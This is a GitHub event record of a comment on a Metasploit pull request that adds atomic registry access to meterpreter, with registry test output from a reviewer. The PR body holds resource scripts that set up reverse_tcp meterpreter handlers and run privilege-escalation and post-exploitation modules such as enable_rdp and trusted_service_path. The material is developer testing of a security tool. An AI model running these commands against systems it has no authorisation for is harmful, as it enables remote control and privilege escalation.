{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4411","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4411/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4411/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4411/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/4411","id":52256892,"number":4411,"title":"Add support for direct, atomic registry key access in meterpreter","user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/bug","name":"bug","color":"e11d21"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"}],"state":"open","locked":false,"assignee":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":12,"created_at":"2014-12-17T16:01:57Z","updated_at":"2015-01-17T00:20:50Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4411","html_url":"https://github.com/rapid7/metasploit-framework/pull/4411","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4411.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4411.patch"},"body":"Rather than operating on a passed-in HKEY, these open and close the registry key directly for each operation.\r\n\r\nThis pattern better reflects the actual API usage within msf, and removes extra round-trips to open and close the registry key, reducing traffic and increasing performance. I did not add direct versions of every registry operation. There was no benefit for more rarely-used operations, other than requiring more\r\nchurn in the meterpreters.\r\n\r\nThe primary beneficiary of this is post exploitation modules that do registry or service enumeration. See #3693 for test cases.\r\n\r\nI added support as well for the python meterpreter, and the C meterpreter support is in https://github.com/rapid7/meterpreter/pull/107 \r\n\r\nI haven't done php yet, since it seems to already be broken in some other cases for registry access, e.g. the 'enum' methods are not implemented in stdapi.\r\n\r\nI used the following RC scripts to verify the C and Python meterpreters, both running with reverse_tcp stagers:\r\n\r\nC\r\n```\r\nsleep 1\r\nloadpath test/modules\r\nuse exploit/multi/handler\r\nset payload windows/meterpreter/reverse_tcp\r\nset lhost 192.168.43.1\r\nrun -j\r\nsleep 5\r\nuse post/test/services\r\nset SESSION 1\r\nrun\r\nuse post/test/registry\r\nset SESSION 1\r\nrun\r\nuse post/windows/escalate/net_runtime_modify\r\nset SESSION 1\r\nrun\r\nuse post/windows/manage/rpcapd_start\r\nset SESSION 1\r\nrun\r\nuse post/windows/manage/enable_rdp\r\nset SESSION 1\r\nrun\r\nuse post/windows/gather/enum_proxy\r\nset SESSION 1\r\nrun\r\nuse post/windows/gather/enum_services\r\nset SESSION 1\r\nrun\r\nuse exploits/windows/local/service_permissions\r\nset SESSION 1\r\nrun\r\nuse exploits/windows/local/trusted_service_path\r\nset SESSION 1\r\nrun\r\nuse exploits/windows/local/current_user_psexec\r\nset SESSION 1\r\nrun\r\n```\r\n\r\nPython is similar to above:\r\n```\r\nuse exploit/multi/handler\r\nset payload python/meterpreter/reverse_tcp\r\nset lhost 192.168.43.1\r\nrun\r\n```\r\n\r\n- [ ] check that all tests above work for x86 and x64 meterpreters\r\n- [ ] check that all tests above work for python meterpreter on Windows\r\n- [ ] check that all tests above work for php meterpreter on Windows\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/70343824","html_url":"https://github.com/rapid7/metasploit-framework/pull/4411#issuecomment-70343824","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4411","id":70343824,"user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"created_at":"2015-01-17T00:20:50Z","updated_at":"2015-01-17T00:20:50Z","body":"```\r\nmsf post(registry) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Running against session 4\r\n[*] Session type is meterpreter and platform is x86/win32\r\n[*] PENDING: should evaluate key existence\r\n[*] PENDING: should evaluate value existence\r\n[+] should read values\r\n[+] should return normalized values\r\n[]\r\n[]\r\n[-] FAILED: should enumerate keys and values\r\n[+] should create keys\r\n[+] should write REG_SZ values\r\n[+] should write REG_DWORD values\r\n[+] should delete keys\r\n[-] Passed: 6; Failed: 1\r\n[*] Post module execution completed\r\n```\r\n\r\n\r\n```\r\n      vals = registry_enumvals(%q#HKCU\\Environment#)\r\n      ret &&= (vals.kind_of? Array)\r\n      ret &&= (vals.count > 0)\r\n      ret &&= (vals.include? \"TEMP\")\r\n\r\n```\r\n\r\nBut ```HKCU\\Environment indeed ``` really had TEMP and TMP avaialble inside HKCU/Environment, am I forgetting something :?"}}